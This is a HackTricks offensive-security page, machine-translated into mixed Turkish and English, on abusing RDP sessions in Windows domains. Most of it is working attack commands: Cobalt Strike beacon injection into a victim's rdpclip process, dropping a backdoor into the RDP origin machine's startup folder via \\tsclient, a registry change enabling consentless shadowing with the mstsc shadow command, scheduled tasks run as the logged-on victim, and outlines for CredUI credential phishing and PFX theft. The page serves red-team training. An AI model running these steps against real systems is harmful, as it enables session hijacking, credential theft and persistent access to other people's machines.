RDP Sessions Abuse

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

RDP Process Injection

Eğer dış grupun mevcut domaindeki herhangi bir bilgisayara RDP erişimi varsa, bir saldırgan o bilgisayarı ele geçirip kullanıcının gelmesini bekleyebilir.

Kullanıcı RDP ile erişim sağladıktan sonra, saldırgan o kullanıcının oturumuna pivot yapabilir ve dış domaindeki yetkilerini kötüye kullanabilir.

# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName

# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID   PPID  Name                         Arch  Session     User
---   ----  ----                         ----  -------     -----
...
4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user

Check other ways to steal sessions with other tools in this page.

RDPInception

Eğer bir kullanıcı RDP into a machine üzerinden bir makineye bağlanır ve bir attacker onun için waiting halindeyse, attacker kullanıcının oturumuna inject a beacon in the RDP session of the user yapabilir; eğer victim mounted his drive RDP ile bağlanırken, attacker could access it.

Bu durumda, statup folder’a bir backdoor yazarak victims original computer’ı compromise edebilirsiniz.

# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID   PPID  Name                         Arch  Session     User
---   ----  ----                         ----  -------     -----
...
4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local

# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c

Size     Type    Last Modified         Name
----     ----    -------------         ----
dir     02/10/2021 04:11:30   $Recycle.Bin
dir     02/10/2021 03:23:44   Boot
dir     02/20/2021 10:15:23   Config.Msi
dir     10/18/2016 01:59:39   Documents and Settings
[...]

# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe

Shadow RDP

Eğer bir hostta local admin iseniz ve hedefin zaten bir active RDP session’ı varsa, o masaüstünü view/control that desktop without stealing the password or dumping LSASS yapmanız mümkün olabilir.

Bu, aşağıda saklanan Remote Desktop Services shadowing politikasına bağlıdır:

HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services\Shadow

İlginç değerler:

  • 0: Devre dışı
  • 1: EnableInputNotify (kontrol, kullanıcı onayı gerekli)
  • 2: EnableInputNoNotify (kontrol, kullanıcı onayı yok)
  • 3: EnableNoInputNotify (yalnızca görüntüleme, kullanıcı onayı gerekli)
  • 4: EnableNoInputNoNotify (yalnızca görüntüleme, kullanıcı onayı yok)
:: Check the policy
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

:: Enable interaction without consent
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 2 /f

:: Enumerate sessions and shadow the target one
quser /server:<HOST>
mstsc /v:<HOST> /shadow:<SESSION_ID> /control /noconsentprompt /prompt

Bu, RDP üzerinden bağlanmış ayrıcalıklı bir kullanıcının kilidi açık bir masaüstü, KeePass oturumu, MMC konsolu, tarayıcı oturumu veya admin shell açık bıraktığında özellikle kullanışlıdır.

Oturum Açmış Kullanıcı Olarak Zamanlanmış Görevler

Eğer local admin iseniz ve hedef kullanıcı şu anda oturum açmışsa, Task Scheduler o kullanıcının parolası olmadan o kullanıcı olarak kod başlatabilir.

Bu, kurbanın mevcut oturumunu bir yürütme ilkeline dönüştürür:

schtasks /create /S <HOST> /RU "<DOMAIN\\user>" /SC ONCE /ST 00:00 /TN "Updater" /TR "cmd.exe /c whoami > C:\\Windows\\Temp\\whoami.txt"
schtasks /run /S <HOST> /TN "Updater"

Notes:

  • Eğer kullanıcı oturum açmamışsa, Windows genellikle o kullanıcı adına çalışan bir görev oluşturmak için parolayı ister.
  • Eğer kullanıcı oturum açmışsa, görev mevcut oturum açma bağlamını yeniden kullanabilir.
  • Bu, LSASS’a dokunmadan kurban oturumu içinde GUI işlemleri yürütmek veya binary’ler başlatmak için pratik bir yoldur.

Kurban Oturumundan CredUI Prompt Kötüye Kullanımı

Örneğin Shadow RDP veya a scheduled task running as that user aracılığıyla kurbanın etkileşimli masaüstü içinde çalıştırma yapabildiğinizde, CredUI API’lerini kullanarak gerçek bir Windows kimlik bilgisi istemi (credential prompt) görüntüleyebilir ve kurbanın girdiği kimlik bilgilerini toplayabilirsiniz.

Relevant APIs:

  • CredUIPromptForWindowsCredentials
  • CredUnPackAuthenticationBuffer

Typical flow:

  1. Kurban oturumunda bir binary başlatın.
  2. Geçerli etki alanı görünümüne (domain branding) uyan bir etki alanı doğrulama istemi gösterin.
  3. Dönen auth buffer’ını unpack edin.
  4. Sağlanan kimlik bilgilerini doğrulayın ve isteğe bağlı olarak geçerli bilgiler girilene kadar tekrar istemeye devam edin.

Bu, on-host phishing için kullanışlıdır çünkü istem sahte bir HTML formu yerine standart Windows API’leri tarafından render edilir.

Kurban Bağlamında PFX Talebi

Aynı scheduled-task-as-user primitive, oturum açmış kurban adına bir sertifika/PFX talep etmek için kullanılabilir. Bu sertifika daha sonra o kullanıcı olarak AD authentication için kullanılabilir ve böylece parola hırsızlığından tamamen kaçınılır.

High-level flow:

  1. Kurbanın oturum açtığı bir hostta local admin kazanın.
  2. Kayıt/dışa aktarma (enrollment/export) mantığını kurban olarak bir scheduled task ile çalıştırın.
  3. Ortaya çıkan PFX’i dışa aktarın.
  4. PFX’i PKINIT / sertifika tabanlı AD authentication için kullanın.

See the AD CS pages for follow-up abuse:

AD CS Account Persistence

References

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin